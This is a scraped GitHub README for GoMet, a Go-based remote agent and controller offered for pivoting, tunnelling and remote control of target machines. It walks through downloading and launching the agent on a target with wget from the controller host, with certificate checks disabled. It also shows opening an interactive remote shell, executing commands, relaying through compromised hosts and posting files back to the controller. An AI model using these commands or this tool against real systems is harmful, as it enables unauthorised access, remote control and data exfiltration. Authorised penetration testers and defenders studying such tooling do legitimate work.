Skip to content
Multi-platform agent written in Golang. TCP forwarding, socks5, tunneling, pivoting, shell, download, exec
Branch: master
Clone or download
Latest commit 3235c3e Apr 5, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
agent First impl Mar 31, 2019
config First impl Mar 31, 2019
controller Using Go modules the right way Apr 3, 2019
.gitignore Using Go modules the right way Apr 3, 2019
Main.go Using Go modules the right way Apr 3, 2019 Update Apr 5, 2019
go.mod Using Go modules the right way Apr 3, 2019
go.sum Using Go modules the right way Apr 3, 2019


Simple multi-platform agent and its controller. The agent communicates with its controller through TLS tunnel.

Work in progress :)


Install Go (

Clone repository

git clone

And compile GoMet.

cd GoMet
go build ./...
go build .

Basic usage

Launch GoMet

#> ./gomet

	  ____       __  __      _
	 / ___| ___ |  \/  | ___| |_
	| |  _ / _ \| |\/| |/ _ \ __|
	| |_| | (_) | |  | |  __/ |_
	 \____|\___/|_|  |_|\___|\__|

server > info
Local listener:
Socks listener:
HTTP magic: khRoKbh3AZSHbix
server >
server > help

  clear         clear the screen
  exit          Exit
  generate      Generate an agent
  help          display help
  info          Print server information
  routes        List routes
  sessions      List sessions

On the target system download an agent for the corresponding OS and Architecture

wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

The controller automatically builds an agent with the right information.

Note: "khRoKbh3AZSHbix" is a random magic generated by the controller, type "info" in the GoMet CLI to know it. In this use-case you have to add --no-check-certificate option because the default TLS certificate is auto-signed.

Available OS (see Golang GOOS):


Available Architectures (see Golang GOARCH):


Launch the agent

chmod +x agent

In GoMet CLI we can see the new session created

server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64

Interact with a session

server > sessions open 1
session 1 > help

  cat           Print a file
  clear         clear the screen
  close         Close session
  connect       Connect a local port to a remote Address
  download      Download a file
  execute       Execute a command
  exit          Back to server
  getuid        Get user Id
  help          display help
  jobs          List jobs
  listen        Connect a remote port to a local Address
  ls            List files
  netstat       List connections
  ps            List processes
  pwd           Get current directory
  relay         Relay listen
  shell         Interactive remote shell
  streams       List streams
  upload        Upload a file

session 1 >

TCP forwarding

We can forward TCP connection through the agent TLS tunnel in both direction.


Listen a port locally (on the controller system) and forward it to a remote service.


Listen a port remotely (on the agent system) and forward it to a local service.

Socks5 and routing

We can enable a Socks5 listener on the controller to access remote networks through the agents and define routes toward the different sessions.

Make a relay

If the controller is not accessible from the target system (after network pivot) we can define a "relay" on another agent. Then we can access the controller through the relay like the controller itself.

session 1 > relay
Remote Address:
session 1 >

And from the target system

wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

Share files with the controller

The controller can share files.

Copy a file in the share directory and download it with the magic URL

wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate

We can also upload a file to the controller

wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file

Generate an agent with the CLI

server > generate
OS: windows
Arch: amd64
Host: <controller>:8888
HTTP proxy:
HTTPS proxy:
Proxy username:
Proxy password:
Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat
server >

Configuration files

Default configuration is defined in config/config.json file.


  "socks": {
    "enable": true,
    "addr": ""

  "api": {
    "enable": false,
    "addr": ""

Define a tunnel

If we want to listen through a tunnel we can define it in the configuration file. SSH only actually.


  "socks": {
    "enable": true,
    "addr": ""

  "tunnel": {
    "nodes": [
        "host": "<first_node>:22",
        "username": "user",
        "password": "user"
        "host": "<second_node>:22",
        "username": "user",
        "password": "user"
        "host": "<exit_node>:22",
        "username": "user",
        "password": "user"

Custom TLS certificate

A default certificate is generated in the config directory. You can replace it with yours.

Warning: If you change the certificate you have rebuild all the agents because the certificate hash will not be the same.


Work in progress

You can’t perform that action at this time.